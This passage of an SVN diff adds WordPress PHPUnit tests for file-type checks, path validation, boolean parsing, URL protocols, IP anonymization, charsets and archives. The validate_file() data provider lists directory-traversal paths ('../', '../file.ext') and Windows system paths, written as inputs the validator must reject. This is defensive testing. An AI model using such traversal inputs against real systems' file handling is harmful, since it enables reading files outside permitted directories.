+	public function _wp_check_filetype_and_ext_data() {
+		$data = array(
+			// Standard image.
+			array(
+				DIR_TESTDATA . '/images/canola.jpg',
+				'canola.jpg',
+				array(
+					'ext' => 'jpg',
+					'type' => 'image/jpeg',
+					'proper_filename' => false,
+				),
+			),
+			// Image with wrong extension.
+			array(
+				DIR_TESTDATA . '/images/test-image-mime-jpg.png',
+				'test-image-mime-jpg.png',
+				array(
+					'ext' => 'jpg',
+					'type' => 'image/jpeg',
+					'proper_filename' => 'test-image-mime-jpg.jpg',
+				),
+			),
+			// Image without extension.
+			array(
+				DIR_TESTDATA . '/images/test-image-no-extension',
+				'test-image-no-extension',
+				array(
+					'ext' => false,
+					'type' => false,
+					'proper_filename' => false,
+				),
+			),
+			// Valid non-image file with an image extension.
+			array(
+				DIR_TESTDATA . '/formatting/big5.txt',
+				'big5.jpg',
+				array(
+					'ext' => false,
+					'type' => false,
+					'proper_filename' => false,
+				),
+			),
+			// Non-image file not allowed.
+			array(
+				DIR_TESTDATA . '/export/crazy-cdata.xml',
+				'crazy-cdata.xml',
+				array(
+					'ext' => false,
+					'type' => false,
+					'proper_filename' => false,
+				),
+			),
+			// Non-image file not allowed even if it's named like one.
+			array(
+				DIR_TESTDATA . '/export/crazy-cdata.xml',
+				'crazy-cdata.jpg',
+				array(
+					'ext' => false,
+					'type' => false,
+					'proper_filename' => false,
+				),
+			),
+			// Non-image file not allowed if it's named like something else.
+			array(
+				DIR_TESTDATA . '/export/crazy-cdata.xml',
+				'crazy-cdata.doc',
+				array(
+					'ext' => false,
+					'type' => false,
+					'proper_filename' => false,
+				),
+			),
+			// Non-image file not allowed even if it's named like one.
+			array(
+				DIR_TESTDATA . '/export/crazy-cdata.xml',
+				'crazy-cdata.jpg',
+				array(
+					'ext'             => false,
+					'type'            => false,
+					'proper_filename' => false,
+				),
+			),
+			// Non-image file not allowed if it's named like something else.
+			array(
+				DIR_TESTDATA . '/export/crazy-cdata.xml',
+				'crazy-cdata.doc',
+				array(
+					'ext'             => false,
+					'type'            => false,
+					'proper_filename' => false,
+				),
+			),
+		);
+
+		// Test a few additional file types on single sites.
+		if ( ! is_multisite() ) {
+			$data = array_merge(
+				$data,
+				array(
+					// Standard non-image file.
+					array(
+						DIR_TESTDATA . '/formatting/big5.txt',
+						'big5.txt',
+						array(
+							'ext' => 'txt',
+							'type' => 'text/plain',
+							'proper_filename' => false,
+						),
+					),
+					// Non-image file with wrong sub-type.
+					array(
+						DIR_TESTDATA . '/uploads/pages-to-word.docx',
+						'pages-to-word.docx',
+						array(
+							'ext' => 'docx',
+							'type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+							'proper_filename' => false,
+						),
+					),
+					// FLAC file.
+					array(
+						DIR_TESTDATA . '/uploads/small-audio.flac',
+						'small-audio.flac',
+						array(
+							'ext' => 'flac',
+							'type' => 'audio/flac',
+							'proper_filename' => false,
+						),
+					),
+					// Assorted text/* sample files
+					array(
+						DIR_TESTDATA . '/uploads/test.vtt',
+						'test.vtt',
+						array(
+							'ext'             => 'vtt',
+							'type'            => 'text/vtt',
+							'proper_filename' => false,
+						),
+					),
+					array(
+						DIR_TESTDATA . '/uploads/test.csv',
+						'test.csv',
+						array(
+							'ext'             => 'csv',
+							'type'            => 'text/csv',
+							'proper_filename' => false,
+						),
+					),
+					// RTF files.
+					array(
+						DIR_TESTDATA . '/uploads/test.rtf',
+						'test.rtf',
+						array(
+							'ext'             => 'rtf',
+							'type'            => 'application/rtf',
+							'proper_filename' => false,
+						),
+					),
+				)
+			);
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Test file path validation
+	 *
+	 * @ticket 42016
+	 * @dataProvider data_test_validate_file()
+	 *
+	 * @param string $file          File path.
+	 * @param array  $allowed_files List of allowed files.
+	 * @param int    $expected      Expected result.
+	 */
+	public function test_validate_file( $file, $allowed_files, $expected ) {
+		$this->assertSame( $expected, validate_file( $file, $allowed_files ) );
+	}
+
+	/**
+	 * Data provider for file validation.
+	 *
+	 * @return array {
+	 *     @type array $0... {
+	 *         @type string $0 File path.
+	 *         @type array  $1 List of allowed files.
+	 *         @type int    $2 Expected result.
+	 *     }
+	 * }
+	 */
+	public function data_test_validate_file() {
+		return array(
+
+			// Allowed files:
+			array(
+				null,
+				array(),
+				0,
+			),
+			array(
+				'',
+				array(),
+				0,
+			),
+			array(
+				' ',
+				array(),
+				0,
+			),
+			array(
+				'.',
+				array(),
+				0,
+			),
+			array(
+				'..',
+				array(),
+				0,
+			),
+			array(
+				'./',
+				array(),
+				0,
+			),
+			array(
+				'foo.ext',
+				array( 'foo.ext' ),
+				0,
+			),
+			array(
+				'dir/foo.ext',
+				array(),
+				0,
+			),
+			array(
+				'foo..ext',
+				array(),
+				0,
+			),
+			array(
+				'dir/dir/../',
+				array(),
+				0,
+			),
+
+			// Directory traversal:
+			array(
+				'../',
+				array(),
+				1,
+			),
+			array(
+				'../../',
+				array(),
+				1,
+			),
+			array(
+				'../file.ext',
+				array(),
+				1,
+			),
+			array(
+				'../dir/../',
+				array(),
+				1,
+			),
+			array(
+				'/dir/dir/../../',
+				array(),
+				1,
+			),
+			array(
+				'/dir/dir/../../',
+				array( '/dir/dir/../../' ),
+				1,
+			),
+
+			// Windows drives:
+			array(
+				'c:',
+				array(),
+				2,
+			),
+			array(
+				'C:/WINDOWS/system32',
+				array( 'C:/WINDOWS/system32' ),
+				2,
+			),
+
+			// Disallowed files:
+			array(
+				'foo.ext',
+				array( 'bar.ext' ),
+				3,
+			),
+			array(
+				'foo.ext',
+				array( '.ext' ),
+				3,
+			),
+			array(
+				'path/foo.ext',
+				array( 'foo.ext' ),
+				3,
+			),
+
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/WpValidateBoolean.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/WpValidateBoolean.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/WpValidateBoolean.php	(revision 56912)
@@ -0,0 +1,75 @@
+<?php
+
+/**
+ * @group functions.php
+ */
+class Tests_Functions_WpValidateBoolean extends WP_UnitTestCase {
+	public function test_bool_true() {
+		$this->assertTrue( wp_validate_boolean( true ) );
+	}
+
+	public function test_int_1() {
+		$this->assertTrue( wp_validate_boolean( 1 ) );
+	}
+
+	public function test_string_true_lowercase() {
+		$this->assertTrue( wp_validate_boolean( 'true' ) );
+	}
+
+	public function test_string_true_uppercase() {
+		$this->assertTrue( wp_validate_boolean( 'TRUE' ) );
+	}
+
+	public function test_arbitrary_string_should_return_true() {
+		$this->assertTrue( wp_validate_boolean( 'foobar' ) );
+	}
+
+	public function test_bool_false() {
+		$this->assertFalse( wp_validate_boolean( false ) );
+	}
+
+	public function test_int_0() {
+		$this->assertFalse( wp_validate_boolean( 0 ) );
+	}
+
+	public function test_float_0() {
+		$this->assertFalse( wp_validate_boolean( 0.0 ) );
+	}
+
+	public function test_empty_string() {
+		$this->assertFalse( wp_validate_boolean( '' ) );
+	}
+
+	public function test_string_0() {
+		$this->assertFalse( wp_validate_boolean( '0' ) );
+	}
+
+	public function test_empty_array() {
+		$this->assertFalse( wp_validate_boolean( array() ) );
+	}
+
+	public function test_null() {
+		$this->assertFalse( wp_validate_boolean( null ) );
+	}
+
+	public function test_string_false_lowercase() {
+		// Differs from (bool) conversion.
+		$this->assertFalse( wp_validate_boolean( 'false' ) );
+	}
+
+	/**
+	 * @ticket 30238
+	 */
+	public function test_string_false_uppercase() {
+		// Differs from (bool) conversion.
+		$this->assertFalse( wp_validate_boolean( 'FALSE' ) );
+	}
+
+	/**
+	 * @ticket 30238
+	 */
+	public function test_string_false_mixedcase() {
+		// Differs from (bool) conversion.
+		$this->assertFalse( wp_validate_boolean( 'FaLsE' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/allowedProtocols.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/allowedProtocols.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/allowedProtocols.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * @group formatting
+ * @group functions.php
+ */
+class Tests_Functions_AllowedProtocols extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 19354
+	 */
+	function test_data_is_not_an_allowed_protocol() {
+		$this->assertNotContains( 'data', wp_allowed_protocols() );
+	}
+
+	function test_allowed_protocol_has_an_example() {
+		$example_protocols = array();
+		foreach ( $this->data_example_urls() as $example ) {
+			$example_protocols[] = $example[0];
+		}
+		$this->assertEqualSets( $example_protocols, wp_allowed_protocols() );
+	}
+
+	/**
+	 * @depends test_allowed_protocol_has_an_example
+	 * @dataProvider data_example_urls
+	 *
+	 * @param string The scheme.
+	 * @param string Example URL.
+	 */
+	function test_allowed_protocols( $protocol, $url ) {
+		$this->assertEquals( $url, esc_url( $url, $protocol ) );
+		$this->assertEquals( $url, esc_url( $url, wp_allowed_protocols() ) );
+	}
+
+	/**
+	 * @link http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml
+	 */
+	function data_example_urls() {
+		return array(
+			array( 'http', 'http://example.com' ), // RFC7230
+			array( 'https', 'https://example.com' ), // RFC7230
+			array( 'ftp', 'ftp://example.com' ), // RFC1738
+			array( 'ftps', 'ftps://example.com' ),
+			array( 'mailto', 'mailto://someone@example.com' ), // RFC6068
+			array( 'news', 'news://news.server.example/example.group.this' ), // RFC5538
+			array( 'irc', 'irc://example.com/wordpress' ),
+			array( 'gopher', 'gopher://example.com/7a_gopher_selector%09foobar' ), // RFC4266
+			array( 'nntp', 'nntp://news.server.example/example.group.this' ), // RFC5538
+			array( 'feed', 'feed://example.com/rss.xml' ),
+			array( 'telnet', 'telnet://user:password@example.com:80/' ), // RFC4248
+			array( 'mms', 'mms://example.com:80/path' ),
+			array( 'rtsp', 'rtsp://media.example.com:554/wordpress/audiotrack' ), // RFC2326
+			array( 'svn', 'svn://core.svn.wordpress.org/' ),
+			array( 'tel', 'tel:+1-234-567-8910' ), // RFC3966
+			array( 'fax', 'fax:+123.456.78910' ), // RFC2806/RFC3966
+			array( 'xmpp', 'xmpp://guest@example.com' ), // RFC5122
+			array( 'webcal', 'webcal://example.com/calendar.ics' ),
+			array( 'urn', 'urn:uuid:6e8bc430-9c3a-11d9-9669-0800200c9a66' ), // RFC2141
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/anonymization.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/anonymization.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/anonymization.php	(revision 56912)
@@ -0,0 +1,278 @@
+<?php
+/**
+ * Test anonymization functions.
+ *
+ * @package WordPress\UnitTests
+ *
+ * @since 4.9.6
+ */
+
+/**
+ * Class Tests_Functions_Anonymization.
+ *
+ * @group functions.php
+ * @group privacy
+ *
+ * @since 4.9.6
+ */
+class Tests_Functions_Anonymization extends WP_UnitTestCase {
+	/**
+	 * Test that wp_privacy_anonymize_ip() properly anonymizes all possible IP address formats.
+	 *
+	 * @dataProvider data_wp_privacy_anonymize_ip
+	 *
+	 * @ticket 41083
+	 * @ticket 43545
+	 *
+	 * @param string $raw_ip          Raw IP address.
+	 * @param string $expected_result Expected result.
+	 */
+	public function test_wp_privacy_anonymize_ip( $raw_ip, $expected_result ) {
+		if ( ! function_exists( 'inet_ntop' ) || ! function_exists( 'inet_pton' ) ) {
+			$this->markTestSkipped( 'This test requires both the inet_ntop() and inet_pton() functions.' );
+		}
+
+		$actual_result = wp_privacy_anonymize_data( 'ip', $raw_ip );
+
+		/* Todo test ipv6_fallback mode if keeping it.*/
+
+		$this->assertEquals( $expected_result, $actual_result );
+	}
+
+	/**
+	 * Provide test cases for `test_wp_privacy_anonymize_ip()`.
+	 *
+	 * @since 4.9.6 Moved from `Test_WP_Community_Events::data_get_unsafe_client_ip_anonymization()`.
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @string string $raw_ip          Raw IP address.
+	 *         @string string $expected_result Expected result.
+	 *     }
+	 * }
+	 */
+	public function data_wp_privacy_anonymize_ip() {
+		return array(
+			// Invalid IP.
+			array(
+				null,
+				'0.0.0.0',
+			),
+			array(
+				'',
+				'0.0.0.0',
+			),
+			array(
+				'0.0.0.0.0',
+				'0.0.0.0',
+			),
+			array(
+				'0000:0000:0000:0000:0000:0000:0127:2258',
+				'::',
+			),
+			// Invalid IP. Sometimes proxies add things like this, or other arbitrary strings.
+			array(
+				'unknown',
+				'0.0.0.0',
+			),
+			// Invalid IP. Sometimes proxies add things like this, or other arbitrary strings.
+			array(
+				'or=\"[1000:0000:0000:0000:0000:0000:0000:0001',
+				'::',
+			),
+			// Invalid IP. Sometimes proxies add things like this, or other arbitrary strings.
+			array(
+				'or=\"1000:0000:0000:0000:0000:0000:0000:0001',
+				'::',
+			),
+			// Invalid IP. Sometimes proxies add things like this, or other arbitrary strings.
+			array(
+				'1000:0000:0000:0000:0000:0000:0000:0001or=\"',
+				'::',
+			),
+			// Malformed string with valid IP substring. Sometimes proxies add things like this, or other arbitrary strings.
+			array(
+				'or=\"[1000:0000:0000:0000:0000:0000:0000:0001]:400',
+				'1000::',
+			),
+			// Malformed string with valid IP substring. Sometimes proxies add things like this, or other arbitrary strings.
+			array(
+				'or=\"[1000:0000:0000:0000:0000:0000:0000:0001]',
+				'1000::',
+			),
+			// Malformed string with valid IP substring. Sometimes proxies add things like this, or other arbitrary strings.
+			array(
+				'or=\"[1000:0000:0000:0000:0000:0000:0000:0001]400',
+				'1000::',
+			),
+			// Malformed string with valid IP substring. Sometimes proxies add things like this, or other arbitrary strings.
+			array(
+				'[1000:0000:0000:0000:0000:0000:0000:0001]:235\"or=',
+				'1000::',
+			),
+			// IPv4, no port.
+			array(
+				'10.20.30.45',
+				'10.20.30.0',
+			),
+			// IPv4, port.
+			array(
+				'10.20.30.45:20000',
+				'10.20.30.0',
+			),
+			// IPv4, netmask.
+			array(
+				'10.20.30.45/24',
+				'10.20.30.0',
+			),
+			// IPv6, no port.
+			array(
+				'2a03:2880:2110:df07:face:b00c::1',
+				'2a03:2880:2110:df07::',
+			),
+			// IPv6, port.
+			array(
+				'[2a03:2880:2110:df07:face:b00c::1]:20000',
+				'2a03:2880:2110:df07::',
+			),
+			// IPv6, no port, reducible representation.
+			array(
+				'0000:0000:0000:0000:0000:0000:0000:0001',
+				'::',
+			),
+			// IPv6, no port, partially reducible representation.
+			array(
+				'1000:0000:0000:0000:0000:0000:0000:0001',
+				'1000::',
+			),
+			// IPv6, port, reducible representation.
+			array(
+				'[0000:0000:0000:0000:0000:0000:0000:0001]:1234',
+				'::',
+			),
+			// IPv6, port, partially reducible representation.
+			array(
+				'[1000:0000:0000:0000:0000:0000:0000:0001]:5678',
+				'1000::',
+			),
+			// IPv6, no port, reduced representation.
+			array(
+				'::',
+				'::',
+			),
+			// IPv6, no port, reduced representation.
+			array(
+				'::1',
+				'::',
+			),
+			// IPv6, port, reduced representation.
+			array(
+				'[::]:20000',
+				'::',
+			),
+			// IPv6, address brackets without port delimiter and number, reduced representation.
+			array(
+				'[::1]',
+				'::',
+			),
+			// IPv6, no port, compatibility mode.
+			array(
+				'::ffff:10.15.20.25',
+				'::ffff:10.15.20.0',
+			),
+			// IPv6, port, compatibility mode.
+			array(
+				'[::FFFF:10.15.20.25]:30000',
+				'::ffff:10.15.20.0',
+			),
+			// IPv6, no port, compatibility mode shorthand.
+			array(
+				'::127.0.0.1',
+				'::ffff:127.0.0.0',
+			),
+			// IPv6, port, compatibility mode shorthand.
+			array(
+				'[::127.0.0.1]:30000',
+				'::ffff:127.0.0.0',
+			),
+			// IPv6 with reachability scope.
+			array(
+				'fe80::b059:65f4:e877:c40%16',
+				'fe80::',
+			),
+			// IPv6 with reachability scope.
+			array(
+				'FE80::B059:65F4:E877:C40%eth0',
+				'fe80::',
+			),
+		);
+	}
+
+	/**
+	 * Test email anonymization of `wp_privacy_anonymize_data()`.
+	 */
+	public function test_anonymize_email() {
+		$this->assertSame( 'deleted@site.invalid', wp_privacy_anonymize_data( 'email', 'bar@example.com' ) );
+	}
+
+	/**
+	 * Test url anonymization of `wp_privacy_anonymize_data()`.
+	 */
+	public function test_anonymize_url() {
+		$this->assertSame( 'https://site.invalid', wp_privacy_anonymize_data( 'url', 'https://example.com/author/username' ) );
+	}
+
+	/**
+	 * Test date anonymization of `wp_privacy_anonymize_data()`.
+	 */
+	public function test_anonymize_date() {
+		$this->assertEquals( '0000-00-00 00:00:00', wp_privacy_anonymize_data( 'date', '2003-12-25 12:34:56' ) );
+	}
+
+	/**
+	 * Test text anonymization of `wp_privacy_anonymize_data()`.
+	 */
+	public function test_anonymize_text() {
+		$text = __( 'Four score and seven years ago' );
+		$this->assertEquals( '[deleted]', wp_privacy_anonymize_data( 'text', $text ) );
+	}
+
+	/**
+	 * Test long text anonymization of `wp_privacy_anonymize_data()`.
+	 */
+	public function test_anonymize_long_text() {
+		$text = __( 'Four score and seven years ago' );
+		$this->assertEquals( 'This content was deleted by the author.', wp_privacy_anonymize_data( 'longtext', $text ) );
+	}
+
+	/**
+	 * Test text anonymization when a filter is added.
+	 *
+	 * @ticket 44141
+	 */
+	public function test_anonymize_with_filter() {
+		add_filter( 'wp_privacy_anonymize_data', array( $this, 'filter_wp_privacy_anonymize_data' ), 10, 3 );
+		$actual_url   = wp_privacy_anonymize_data( 'url', 'https://example.com/author/username' );
+		remove_filter( 'wp_privacy_anonymize_data', array( $this, 'filter_wp_privacy_anonymize_data' ), 10 );
+
+		$this->assertSame( 'http://local.host/why-this-was-removed', $actual_url );
+	}
+
+	/**
+	 * Change the anonymized value for URLs.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @param string  $anonymous Anonymized data.
+	 * @param string  $type      Type of the data.
+	 * @param string  $data      Original data.
+	 * @return string $anonymous Anonymized data.
+	 */
+	public function filter_wp_privacy_anonymize_data( $anonymous, $type, $data ) {
+		if ( 'url' === $type && 'example.com' === parse_url( $data, PHP_URL_HOST ) ) {
+			return 'http://local.host/why-this-was-removed';
+		}
+		return $anonymous;
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/canonical-charset.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/canonical-charset.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/canonical-charset.php	(revision 56912)
@@ -0,0 +1,88 @@
+<?php
+
+/*
+ * Validate that's badly named charsets always return the correct format for UTF-8 and ISO-8859-1
+ *
+ *  @since 4.8.0
+ */
+
+class Tests_Functions_canonical_charset extends WP_UnitTestCase {
+
+	public function test_utf_8_lower() {
+		$this->assertEquals( 'UTF-8', _canonical_charset( 'utf-8' ) );
+	}
+
+	public function test_utf_8_upper() {
+		$this->assertEquals( 'UTF-8', _canonical_charset( 'UTF-8' ) );
+	}
+
+	public function test_utf_8_mixxed() {
+		$this->assertEquals( 'UTF-8', _canonical_charset( 'Utf-8' ) );
+	}
+
+	public function test_utf_8() {
+		$this->assertEquals( 'UTF-8', _canonical_charset( 'UTF8' ) );
+	}
+
+	public function test_iso_lower() {
+		$this->assertEquals( 'ISO-8859-1', _canonical_charset( 'iso-8859-1' ) );
+	}
+
+	public function test_iso_upper() {
+		$this->assertEquals( 'ISO-8859-1', _canonical_charset( 'ISO-8859-1' ) );
+	}
+
+	public function test_iso_mixxed() {
+		$this->assertEquals( 'ISO-8859-1', _canonical_charset( 'Iso8859-1' ) );
+	}
+
+	public function test_iso() {
+		$this->assertEquals( 'ISO-8859-1', _canonical_charset( 'ISO8859-1' ) );
+	}
+
+	public function test_random() {
+		$this->assertEquals( 'random', _canonical_charset( 'random' ) );
+	}
+
+	public function test_empty() {
+		$this->assertEquals( '', _canonical_charset( '' ) );
+	}
+
+	/**
+	 * @ticket 23688
+	 */
+	function test_update_option_blog_charset() {
+		$orig_blog_charset = get_option( 'blog_charset' );
+
+		update_option( 'blog_charset', 'utf8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'utf-8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'UTF8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'UTF-8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'ISO-8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'ISO8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'iso8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'iso-8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		// Arbitrary strings are passed through.
+		update_option( 'blog_charset', 'foobarbaz' );
+		$this->assertEquals( 'foobarbaz', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', $orig_blog_charset );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/deprecated.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/deprecated.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/deprecated.php	(revision 56912)
@@ -0,0 +1,178 @@
+<?php
+
+/**
+ * Test cases for deprecated functions, arguments, and files
+ *
+ * @package    WordPress
+ * @subpackage Unit Tests
+ * @since      3.5
+ * @group      deprecated
+ */
+class Test_Functions_Deprecated extends WP_UnitTestCase {
+
+	/**
+	 * List of functions that have been passed through _deprecated_function()
+	 * @var string[]
+	 */
+	protected $_deprecated_functions = array();
+
+	/**
+	 * List of arguments that have been passed through _deprecated_argument()
+	 * @var string[]
+	 */
+	protected $_deprecated_arguments = array();
+
+	/**
+	 * List of files that have been passed through _deprecated_file()
+	 * @var string[]
+	 */
+	protected $_deprecated_files = array();
+
+	/**
+	 * Set up the test fixture
+	 * @return void
+	 */
+	public function setUp() {
+		parent::setUp();
+		$this->_deprecated_functions = array();
+		$this->_deprecated_arguments = array();
+		$this->_deprecated_files = array();
+		add_action( 'deprecated_function_run' , array( $this, 'deprecated_function' ), 10, 3 );
+		add_action( 'deprecated_function_trigger_error', '__return_false' );
+		add_action( 'deprecated_argument_run' , array( $this, 'deprecated_argument' ), 10, 3 );
+		add_action( 'deprecated_argument_trigger_error', '__return_false' );
+		add_action( 'deprecated_file_included' , array( $this, 'deprecated_file' ), 10, 4 );
+		add_action( 'deprecated_file_trigger_error', '__return_false' );
+	}
+
+	/**
+	 * Tear down the test fixture
+	 * @return void
+	 */
+	public function teardown() {
+		remove_action( 'deprecated_function_run' , array( $this, 'deprecated_function' ), 10, 3 );
+		remove_action( 'deprecated_function_trigger_error', '__return_false' );
+		remove_action( 'deprecated_argument_run' , array( $this, 'deprecated_argument' ), 10, 3 );
+		remove_action( 'deprecated_argument_trigger_error', '__return_false' );
+		remove_action( 'deprecated_file_included' , array( $this, 'deprecated_argument' ), 10, 4 );
+		remove_action( 'deprecated_file_trigger_error', '__return_false' );
+		parent::tearDown();
+	}
+
+	/**
+	 * Catch functions that have passed through _deprecated_function
+	 * @param string $function
+	 * @param string $replacement
+	 * @param float $version
+	 * @return void
+	 */
+	public function deprecated_function( $function, $replacement, $version ) {
+		$this->_deprecated_functions[] = array(
+			'function'    => $function,
+			'replacement' => $replacement,
+			'version'     => $version
+		);
+	}
+
+	/**
+	 * Catch arguments that have passed through _deprecated_argument
+	 * @param string $argument
+	 * @param string $message
+	 * @param float $version
+	 * @return void
+	 */
+	public function deprecated_argument( $argument, $message, $version ) {
+		$this->_deprecated_arguments[] = array(
+			'argument' => $argument,
+			'message'  => $message,
+			'version'  => $version
+		);
+	}
+
+	/**
+	 * Catch arguments that have passed through _deprecated_argument
+	 * @param string $argument
+	 * @param string $message
+	 * @param float $version
+	 * @return void
+	 */
+	public function deprecated_file( $file, $version, $replacement, $message ) {
+		$this->_deprecated_files[] = array(
+			'file'        => $file,
+			'version'     => $version,
+			'replacement' => $replacement,
+			'message'     => $message
+		);
+	}
+
+	/**
+	 * Check if something was deprecated
+	 * @param string $type argument|function|file
+	 * @param string $name
+	 * @return array|false
+	 */
+	protected function was_deprecated( $type, $name ) {
+		switch ( $type ) {
+			case 'argument' :
+				$search = $this->_deprecated_arguments;
+				$key    = 'argument';
+				break;
+			case 'function' :
+				$search = $this->_deprecated_functions;
+				$key    = 'function';
+				break;
+			default :
+				$search = $this->_deprecated_files;
+				$key    = 'file';
+		}
+		foreach ( $search as $v ) {
+			if ( $name == $v[$key] ) {
+				return $v;
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * Test that wp_save_image_file has a deprecated argument when passed a GD resource
+	 * @ticket 6821
+	 * @expectedDeprecated wp_save_image_file
+	 */
+	public function test_wp_save_image_file_deprecated_with_gd_resource() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->fail( 'jpeg support unavailable' );
+
+		// Call wp_save_image_file
+		include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+		$file = wp_tempnam();
+		$img = imagecreatefromjpeg( DIR_TESTDATA . '/images/canola.jpg' );
+		wp_save_image_file( $file, $img, 'image/jpeg', 1 );
+		imagedestroy( $img );
+		unlink( $file );
+
+		// Check if the arg was deprecated
+		$check = $this->was_deprecated( 'argument', 'wp_save_image_file' );
+		$this->assertNotEmpty( $check );
+	}
+
+	/**
+	 * Test that wp_save_image_file doesn't have a deprecated argument when passed a WP_Image_Editor
+	 * @ticket 6821
+	 */
+	public function test_wp_save_image_file_not_deprecated_with_wp_image_editor() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->fail( 'jpeg support unavailable' );
+
+		// Call wp_save_image_file
+		include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+		$file = wp_tempnam();
+		$img = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+		wp_save_image_file( $file, $img, 'image/jpeg', 1 );
+		unset( $img );
+		unlink( $file );
+
+		// Check if the arg was deprecated
+		$check = $this->was_deprecated( 'argument', 'wp_save_image_file' );
+		$this->assertFalse( $check );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/getArchives.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/getArchives.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/getArchives.php	(revision 56912)
@@ -0,0 +1,119 @@
+<?php
+/*
+$defaults = array(
+	'type' => 'monthly', 'limit' => '',
+	'format' => 'html', 'before' => '',
+	'after' => '', 'show_post_count' => false,
+	'echo' => 1, 'order' => 'DESC',
+);
+*/
+class Tests_Get_Archives extends WP_UnitTestCase {
+	protected static $post_ids;
+	protected $month_url;
+	protected $year_url;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->month_url = get_month_link( date( 'Y' ), date( 'm' ) );
+		$this->year_url = get_year_link( date( 'Y' ) );
+	}
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$post_ids = $factory->post->create_many( 8, array( 'post_type' => 'post', 'post_author' => '1' ) );
+	}
+
+	function test_wp_get_archives_default() {
+		$expected['default'] = "<li><a href='" . $this->month_url . "'>" . date( 'F Y' ) . "</a></li>";
+		$this->assertEquals( $expected['default'], trim( wp_get_archives( array( 'echo' => false ) ) ) );
+	}
+
+	function test_wp_get_archives_type() {
+		$expected['type'] = "<li><a href='" . $this->year_url . "'>" . date( 'Y' ) . "</a></li>";
+		$this->assertEquals( $expected['type'], trim( wp_get_archives( array( 'echo' => false, 'type' => 'yearly' ) ) ) );
+	}
+
+	function test_wp_get_archives_limit() {
+		$ids = array_slice( array_reverse( self::$post_ids ), 0, 5 );
+
+		$link1 = get_permalink( $ids[0] );
+		$link2 = get_permalink( $ids[1] );
+		$link3 = get_permalink( $ids[2] );
+		$link4 = get_permalink( $ids[3] );
+		$link5 = get_permalink( $ids[4] );
+
+		$title1 = get_post( $ids[0] )->post_title;
+		$title2 = get_post( $ids[1] )->post_title;
+		$title3 = get_post( $ids[2] )->post_title;
+		$title4 = get_post( $ids[3] )->post_title;
+		$title5 = get_post( $ids[4] )->post_title;
+
+		$expected['limit'] = <<<EOF
+<li><a href='$link1'>$title1</a></li>
+	<li><a href='$link2'>$title2</a></li>
+	<li><a href='$link3'>$title3</a></li>
+	<li><a href='$link4'>$title4</a></li>
+	<li><a href='$link5'>$title5</a></li>
+EOF;
+		$this->assertEquals( $expected['limit'], trim( wp_get_archives( array( 'echo' => false, 'type' => 'postbypost', 'limit' => 5 ) ) ) );
+	}
+
+	function test_wp_get_archives_format() {
+		$expected['format'] = "<option value='" . $this->month_url . "'> " . date( 'F Y' ) . ' </option>';
+		$this->assertEquals( $expected['format'], trim( wp_get_archives( array( 'echo' => false, 'format' => 'option' ) ) ) );
+	}
+
+	function test_wp_get_archives_before_and_after() {
+		$expected['before_and_after'] = "<div><a href='" . $this->month_url . "'>" . date( 'F Y' ) . '</a></div>';
+		$this->assertEquals( $expected['before_and_after'], trim( wp_get_archives( array( 'echo' => false, 'format' => 'custom', 'before' => '<div>', 'after' => '</div>' ) ) ) );
+	}
+
+	function test_wp_get_archives_show_post_count() {
+		$expected['show_post_count'] = "<li><a href='" . $this->month_url . "'>" . date( 'F Y' ) . "</a>&nbsp;(8)</li>";
+		$this->assertEquals( $expected['show_post_count'], trim( wp_get_archives( array( 'echo' => false, 'show_post_count' => 1 ) ) ) );
+	}
+
+	function test_wp_get_archives_echo() {
+		$expected['echo'] = "<li><a href='" . $this->month_url . "'>" . date( 'F Y' ) . '</a></li>';
+		ob_start();
+		wp_get_archives( array( 'echo' => true ) );
+		$actual = ob_get_clean();
